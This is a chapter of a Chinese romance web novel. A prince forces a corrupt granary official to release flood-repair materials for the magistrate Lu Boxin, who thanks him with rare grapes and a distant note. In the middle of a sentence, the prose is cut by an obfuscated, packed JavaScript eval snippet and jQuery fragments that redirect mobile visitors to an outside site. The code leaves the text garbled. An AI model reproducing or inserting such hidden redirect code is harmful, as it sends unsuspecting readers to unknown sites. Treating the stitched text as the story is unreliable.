萧明煊靠坐在回廊的美人靠上，看着王府花园里开着的各种各样珍稀的菊花，菊花清冷的香气在空气中浮动，沁人心脾，但是萧明煊只感觉心里闷闷的，高兴不起来。觉得这个秋天，是他见过最寂寥的秋。


    他刻意不去想临州府衙，不去想那个倔强的侧影，也禁止李福在日常汇报中提及那个名字。


    王府的静得有些压抑。


    周显侍立在不远处，坐立不安，像是脚底下踩着炭火，眼神时不时瞟向自家主子，欲言又止。他想起王爷近日严令勿提某人的阴沉脸色，不知该不该开口。


    “王爷，”周显清了清嗓子，打破沉寂，试图找个安全的话题，“听说今年秋演，营里那批新到的河西马很是神骏，就是性子太烈，好几个好手都摔下来了。”


    “嗯。”萧明煊眼皮都没抬，声音没什么起伏，“烈马磨砺尖兵，让驯马官多用点心。”


    “是。”周显慢慢应了一声，话题似乎就此终结，廊下又陷入安静。他偷偷瞄了一眼主子淡漠的侧脸，搓了搓手背。时间一点点过去，他心里的那点事越憋越难受，胸口发慌。他忍不住又开了口：“对了王爷......呃......营里新来那批小子不懂事，前儿个轮值府衙戍卫，还跑回来说闲话......”


    萧明煊淡淡地瞥了周显一眼，周显硬着头皮继续往下说，声音也低了下来，有点含糊：“他们说瞧见陆大人了，好像挺不顺当的？”


    “陆大人？”萧明煊下意识停顿了片刻，语气依旧平淡，“他能有什么不顺当。”


    周显看王爷似乎没完全堵死这个话题。他索性豁出去了，语速加快，想一股脑倒出来：“哎呀王爷！不是别的，是仓曹司那帮狗眼看人低的混蛋！泾水边上好几个村子差点淹了，陆大人急着要木头石头堵漏修坝救急。可那个姓王的仓曹，鼻孔朝天，硬是卡着不给！说什么手续不对，要复核！全是狗屁托词，都火烧眉毛了，还在那儿打官腔！”


    萧明煊身体瞬间绷直了，他转头看向周显，怒道：“卡住？为了什么？”


    周显：“听说是苏家那边使了绊子，就想用这个拿捏陆大人。”


    “苏韵好的叔伯？”萧明煊的声音陡地冷了下去，“为了逼他就用这样下作的手段？拿黎民百姓的性命当儿戏？！”


    他无法容忍，绝无法容忍有人用如此卑劣的方式去折磨那个人。更不能容忍有人敢以百姓生死作为博弈的筹码。


    “周显！”萧明煊猝一声断喝，“你明知此事，竟还敢耽搁？！”


    周显被他震得头皮发麻，扑通一声单膝跪地：“王爷......”


    萧明煊根本不容他分辩：“立刻！去把李福给本王提来！”


    “是！”周显哪还敢有半分迟疑，赶忙跑去找李福。


    几乎就在周显身影消失于廊角的下一刻，长史李福就被他几乎是半拖半拽地给提了回来，老胳膊老腿的被扯得脚步踉跄，气喘吁吁。


    萧明煊声音斩钉截铁。


    “李福！听令！”


    “即刻持本王龙符！点甲士二十！”


    “直奔府衙仓曹司！找到主事王仓曹！”


    “传本王口谕：泾水河段所需物料，限他一个时辰之内，原样不缺、毫厘不损，堆到堤坝之上！若超一时片刻。”萧明煊的目光扫过李福和周显，“你二人亲自替本王，剥了他那身膘，榨油点灯！让这不知死活的蠢物，好好尝尝延误的下场！”


    “遵命！”李福头压得更低，没有丝毫迟疑，转身疾步而去。


    临州府衙仓库。


    王仓曹端着一杯茶，对几个小吏抱怨着陆泊新的不识相和上头大人物的难处，脸上还带着股子得意劲儿。


    长史李福带着两名王府府兵，面无表情地闯了进来。


    “王仓曹。”李福的声音让整个仓曹值房寂静下来，“王爷口谕：泾水河段抢修，乃当前头等紧要公务。王爷已悉知延误，命即刻拨付工料物资，不得有误。若有延误、克扣、以次充好，一经查实，一律以渎职贪墨、祸害民生论处。”


    他掏出一枚小巧的金镶玉印信在掌心一现，这枚金镶玉是萧明煊在封地内调动物资的最高凭证。


    王仓曹的脸刷地一下白透了，浑身抖如筛糠：“李、李长史大人！小人这就办！这就办！”


    他手忙脚乱地去翻找钥匙、取印泥、寻单据，恨不能多生几只手。


    不到一盏茶功夫，本该三天前就发出的木材石料被迅速装上大车，在府兵的监督下，由民夫飞快地运往上游工地。


    泾水河段，傍晚。


    夕阳将河水染成金红。抢修工地上热火朝天，民夫喊着号子打桩垒石。陆泊新站在岸边指挥，紧绷的神经终于得以稍缓。他看着一车车被快速送达的合格物料，疲惫浮上眉间。他能想到这是外力介入的结果，除了王爷，在这封地内没人能在这么短时间压下仓曹司的拖延。


    李福不知何时走到他身边，低声道：“陆大人，王爷吩咐了，让卑职看看东西是否齐全无缺。”他目光掠过忙碌的工地，又补充了一句：“王爷还说，陆大人的公务要紧，天大的事也得办好，谁也不能耽误。”


    陆泊新侧过头，望向李福。夕阳的余晖落在他沉静的眼底。


    “有劳李长史回禀王爷，”陆泊新说，“物料已齐备，下官定当全力以赴。”


    夕阳褪尽余温，工地上的喧嚣也渐渐沉寂。


    陆泊新离开堤岸，在渐暗的街巷里穿行，七拐八绕，停在了一间铺子前。


    店门半掩着，遥远的异域风尘味，浓烈的香料、陈年皮革、干燥的草药，还有浓浓的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381020|200177||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    扑鼻的果香。他推门进去，门上悬挂的铜铃发出清脆的叮当声。


    店内光线柔和，靠墙摆满了色泽古朴的陶罐、描绘着神秘花纹的挂毯、镶着彩石的铜器和各种叫不出名字的奇特果干。一位胡人面貌的老者坐在角落的毛毡上，专心修复一件珐琅银壶。


    “客官要点什么？”一个中年男子闻声从里间走出来，看清陆泊新的官服和清冷气度，眼神立刻恭敬起来：“大人请随意看。”


    陆泊新的目光静静扫过琳琅满目的货物，停在墙上的青藤长柜上。


    他走了过去，店主心领神会，忙上前小心翼翼地揭开盖布。


    柜内寒气微溢，里面整齐码放着一层干燥的青苔，苔藓上托着四五小串葡萄。一股清冽的独特甜香，幽幽地弥散开来。


    店主：“大人好眼力！这是真正的西域紫玉霜葡萄，冰窖里藏了小半年，眼下算最后也是最顶尖的一批了，存得极好，霜厚汁浓！”


    陆泊新没有说话。好似在想些什么事。


    店主察言观色，略带为难：“不瞒大人，已有两位贵客托人打过招呼，想定这剩下的几串，只等明后日来取......”


    陆泊新的目光从葡萄上抬起，从袖中取出一个沉甸甸的锦囊，放在旁边的柜面上。里面是远超正常价值的金锭和几颗成色极佳的珍珠。


    “现在取。”陆泊新说，“即刻。”


    店主一喜，连连作揖：“大人放心，小人亲自包办，定保万无一失！”


    夜晚，那几串紫色玛瑙被送到了裕王府。


    萧明煊对着地板发呆，心中记挂着河工进展，更记挂着那人是否安然无恙。


    李福端着一个精致的竹篮进来，篮盖微开，里面晶莹的果实散发着清甜的果香。


    “王爷，”李福将篮子放下，“陆大人托人送来此物。”


    萧明煊回过神，看着篮子。里面是一串串圆润饱满的色泽如紫玉的葡萄。一看便知非本地所产。


    他拿起篮中的纸条。展开，是陆泊新端正清隽的字迹。


    「谢王爷援手。葡萄奉上，望合心意。


    陆泊新谨上」


    短短的几个字，生疏客套，公事公办的冰冷腔调扑面而来。


    萧明煊轻轻剥开薄薄的果皮，莹透的果肉露出来。他小心翼翼地将葡萄放入口中，清冽甘甜的汁液溢满齿颊。


    他终接受了自己的好意，虽然是这种生疏的方式。


    他甚至知道自己喜欢吃葡萄，送来了这样珍贵的品种。


    他还有些想笑，上次因为在陆泊新面前砸了葡萄，他好有一阵尴尬，很久都没碰过。


    可是这葡萄是因为谁才送来的？


    这援手护住的又是谁的夫婿？


    这客气的感谢划开的是何等清晰的距离？